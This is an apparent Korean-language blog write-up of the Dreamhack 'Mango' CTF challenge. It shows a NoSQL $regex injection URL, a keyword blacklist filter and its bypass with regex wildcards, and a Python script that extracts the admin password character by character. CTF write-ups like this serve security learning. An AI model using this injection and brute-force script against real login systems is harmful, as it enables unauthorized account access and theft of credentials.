본문 바로가기

웹해킹

드림핵 Mango 롸업

<문제>

이 문제는 데이터베이스에 저장된 플래그를 획득하는 문제입니다.
플래그는 admin 계정의 비밀번호 입니다.
플래그의 형식은 DH{…} 입니다.
{‘uid’: ‘admin’, ‘upw’: ‘DH{32alphanumeric}’}

 

flag를 얻기 위해서는 admin 계정의 upw를 알아내야 한다.

http://host3.dreamhack.games:11711/login?uid=guest&upw[$regex]=.*

이런식으로 regex 명령어를 통해 데이터를 검색할 수 있다.

const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

admin이 필터링 되어 있기 때문에 ad.in으로 대체해야 한다.

플래그 형식인 dh{도 D.{로 대체한다.

import requests, string

HOST = 'http://host3.dreamhack.games:11711'
ALPHANUMERIC = string.digits + string.ascii_letters

flag = ''

for i in range(32):
    for ch in ALPHANUMERIC:
        response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
        if response.text == 'admin':
            flag += ch
            break
    
    print(f'FLAG: DH{{{flag}}}')

이렇게 공격 코드를 작성할 수 있다.

'웹해킹' 카테고리의 다른 글

드림핵 command-injection-1 롸업  (0) 2023.11.04
ServerSide: Command Injection  (0) 2023.11.04
드림핵 simple_sqli 롸업  (0) 2023.11.04
SQL Injection  (0) 2023.11.04
드림핵 csrf-2 롸업  (0) 2023.11.04